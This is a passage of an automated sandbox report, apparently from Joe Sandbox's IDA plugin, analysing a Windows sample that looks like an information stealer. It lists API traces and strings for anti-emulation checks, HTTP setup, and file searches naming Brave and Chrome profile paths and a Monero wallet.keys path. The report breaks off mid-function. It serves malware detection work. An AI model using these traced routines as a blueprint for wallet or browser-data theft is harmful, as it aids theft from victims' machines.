Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: b2706110bd2cd010f571cc973cb9ca4553c5fd51bacff6fe71d9c0944b421779
Instruction ID: ce109f179e5ec50dfda1f623d6167f2db447040788b458c7ffd1962a41807aca
Opcode Fuzzy Hash: b2706110bd2cd010f571cc973cb9ca4553c5fd51bacff6fe71d9c0944b421779
Instruction Fuzzy Hash: 0E011DB0D44308BAEF11EBE4DC4AF9EBB7CAB14705F208488F705BA2C0D7B455468799

Function 00396AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E39018,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00396AE8
CloseHandle.KERNEL32(00000000), ref: 00396AF9
Sleep.KERNEL32(00001770), ref: 00396B04
CloseHandle.KERNEL32(?,00000000,?,00E39018,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396B1A
ExitProcess.KERNEL32 ref: 00396B22

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: cff3c0624422e0c828212ff853bec0222643be9130b2354f78961ee07c3b8749
Instruction ID: d75eb4653aa9644ed1ff582760f580b8f72ad07815b67461fbabed725ef43d0f
Opcode Fuzzy Hash: cff3c0624422e0c828212ff853bec0222643be9130b2354f78961ee07c3b8749
Instruction Fuzzy Hash: ABF05E70944609AFEF02ABA0DC0BBBE7B78FB14745F104514B503A51C1DBB05544E696

Function 003847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Strings

<, xrefs: 003847C9

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 1a373fd53b81dfc5763e71277d744e44319d2de9752b8d9ba00608c48be5b94e
Instruction ID: b01511d1a0c7bfb3f345f29a308a30aa607632bf81a8a0c6d2c38ce42be0e2fc
Opcode Fuzzy Hash: 1a373fd53b81dfc5763e71277d744e44319d2de9752b8d9ba00608c48be5b94e
Instruction Fuzzy Hash: CF214FB1D00209ABDF14DFA4E845ADE7B75FB44320F108625F915AB2C1EB706A09CF81

Function 003951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 00386280: InternetOpenA.WININET(003A0DFE,00000001,00000000,00000000,00000000), ref: 003862E1
Part of subcall function 00386280: StrCmpCA.SHLWAPI(?,00E3EA88), ref: 00386303
Part of subcall function 00386280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00386335
Part of subcall function 00386280: HttpOpenRequestA.WININET(00000000,GET,?,00E3DFD8,00000000,00000000,00400100,00000000), ref: 00386385
Part of subcall function 00386280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003863BF
Part of subcall function 00386280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395228

Strings

ERROR, xrefs: 00395273
ERROR, xrefs: 0039521A

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a3e1f226786c0d4bc0337cb1837cb013e00d495bf40278b576f13dcf26b2c28d
Instruction ID: 052276dff5a865f1fb954c1536b1e3adc98f4af3277d83199dd00dc6c13743d6
Opcode Fuzzy Hash: a3e1f226786c0d4bc0337cb1837cb013e00d495bf40278b576f13dcf26b2c28d
Instruction Fuzzy Hash: 42112E30910908ABDF16FFA0DD52AED7778AF50300F404668F80A4E592EF30AB06D7D1

Function 003978E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397910
RtlAllocateHeap.NTDLL(00000000), ref: 00397917
GetComputerNameA.KERNEL32(?,00000104), ref: 0039792F

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: b88e71bd35f9420ff54de30a18d923b90be08e06d5eb259c29cb01ec023c1b37
Instruction ID: cac7a1c82624b38a6a81dfcb686bc9929629d5b56be2a2bbc03b2e0cf905f59d
Opcode Fuzzy Hash: b88e71bd35f9420ff54de30a18d923b90be08e06d5eb259c29cb01ec023c1b37
Instruction Fuzzy Hash: 6D0181B1A04608EFDB10DF98DD45FAABBBCFB04B25F10421AFA45E3680C37459048BA1

Function 00381110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0038112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00381132
ExitProcess.KERNEL32 ref: 00381143

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 48ba17fc91330bdd96ad2554df90a749fd9ff9b6a831b1a6685eb97311b15926
Instruction ID: 49d6df66046bdaecfbbe25769b155e9e1caaf95d34808bc747af206903a0a5d2
Opcode Fuzzy Hash: 48ba17fc91330bdd96ad2554df90a749fd9ff9b6a831b1a6685eb97311b15926
Instruction Fuzzy Hash: C7E0E6B094534CFFE7106BA09C0EF097ABCEB14B05F204094F7097A1D0D6B52A45A799

Function 003810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003810F7

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: cd44674056fc2f07052030c4508d9d01ba6e53de6d019f04f94cea1702393ec4
Instruction ID: 800b4a40c9547ab6f1e1073f157625b3221e36e6bfdd8a86ae83dda1e318d047
Opcode Fuzzy Hash: cd44674056fc2f07052030c4508d9d01ba6e53de6d019f04f94cea1702393ec4
Instruction Fuzzy Hash: D4F0E2B1641308BBEB14ABA4AC49FAAB7ECE705B15F300448F504E7280D5729E04DBA0

Function 00381190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397910
Part of subcall function 003978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00397917
Part of subcall function 003978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0039792F

Part of subcall function 00397850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003811B7), ref: 00397880
Part of subcall function 00397850: RtlAllocateHeap.NTDLL(00000000), ref: 00397887
Part of subcall function 00397850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0039789F

ExitProcess.KERNEL32 ref: 003811C6

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 6b55e9db2ca6386421c13d07d61fc5bab87c4f48a2e3e8f631e12406ec8e050c
Instruction ID: efc716be42fc1c0b06f9ace52067a309b9967597a2243c0c3a881fe42a4a6437
Opcode Fuzzy Hash: 6b55e9db2ca6386421c13d07d61fc5bab87c4f48a2e3e8f631e12406ec8e050c
Instruction Fuzzy Hash: 49E012B592430557CE0173B0AC0FF2A379C9B6534DF040465FA05D6142FA25E805966A

Non-executed Functions

Function 003938B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003938CC
FindFirstFileA.KERNEL32(?,?), ref: 003938E3
lstrcat.KERNEL32(?,?), ref: 00393935
StrCmpCA.SHLWAPI(?,003A0F70), ref: 00393947
StrCmpCA.SHLWAPI(?,003A0F74), ref: 0039395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00393C67
FindClose.KERNEL32(000000FF), ref: 00393C7C

Strings

%s%s, xrefs: 00393AAD
%s\*, xrefs: 003938C0
%s\%s, xrefs: 00393A6F
%s\%s, xrefs: 0039397A
%s\%s\%s, xrefs: 00393A4A

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 95438b918410391c9fea37fc71eca75ad884f2caf3625aa7025e69796e9bc87c
Instruction ID: c3a8975c45701afbfdd6477c2a058f95b87eed1f78da8170ee7784bcb7b6a0c3
Opcode Fuzzy Hash: 95438b918410391c9fea37fc71eca75ad884f2caf3625aa7025e69796e9bc87c
Instruction Fuzzy Hash: E5A140B19006089FDF25DFA4DC85FEA7778FB59304F044588E60DA6141EB759B88CFA2

Function 00394910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0039492C
FindFirstFileA.KERNEL32(?,?), ref: 00394943
StrCmpCA.SHLWAPI(?,003A0FDC), ref: 00394971
StrCmpCA.SHLWAPI(?,003A0FE0), ref: 00394987
FindNextFileA.KERNEL32(000000FF,?), ref: 00394B7D
FindClose.KERNEL32(000000FF), ref: 00394B92

Strings

h, xrefs: 00394A3D
%s\*, xrefs: 00394920
%s\%s, xrefs: 003949A4
%s\%s, xrefs: 003949FB

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$h
API String ID: 180737720-834126881
Opcode ID: 2e81663ea0b5480c4543807f6ddef3af01c6070bf2b633eee2796d0d0ca5f5c1
Instruction ID: 17ecaf162a809959499993bf59871151009994cc5e72bcec8d25752c86204a09
Opcode Fuzzy Hash: 2e81663ea0b5480c4543807f6ddef3af01c6070bf2b633eee2796d0d0ca5f5c1
Instruction Fuzzy Hash: 6F6164B2900618AFCF25EBA0DC49EEA77BCFB59704F044588F549A6040EB759B89CF91

Function 0038BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,003A0B32,003A0B2B,00000000,?,?,?,003A13F4,003A0B2A), ref: 0038BEF5
StrCmpCA.SHLWAPI(?,003A13F8), ref: 0038BF4D
StrCmpCA.SHLWAPI(?,003A13FC), ref: 0038BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0038C7BF
FindClose.KERNEL32(000000FF), ref: 0038C7D1

Strings

\Brave\Preferences, xrefs: 0038C1DB
Google Chrome, xrefs: 0038C634
Brave, xrefs: 0038C102
Preferences, xrefs: 0038C11E

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: e9bc892d8442f81ffbfcf2cce85dced2ab5c2a07976f6540101f54c1097526a1
Instruction ID: acfa79fac32e22a3d3e9d850a189269070a2ba84c4ec9f30890168540800bc32
Opcode Fuzzy Hash: e9bc892d8442f81ffbfcf2cce85dced2ab5c2a07976f6540101f54c1097526a1
Instruction Fuzzy Hash: BA4255729106089BDF16FBB0DD96EED777DAB54300F404698F50A9A081EF349B49CBE2

Function 00394570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00394580
RtlAllocateHeap.NTDLL(00000000), ref: 00394587
wsprintfA.USER32 ref: 003945A6
FindFirstFileA.KERNEL32(?,?), ref: 003945BD
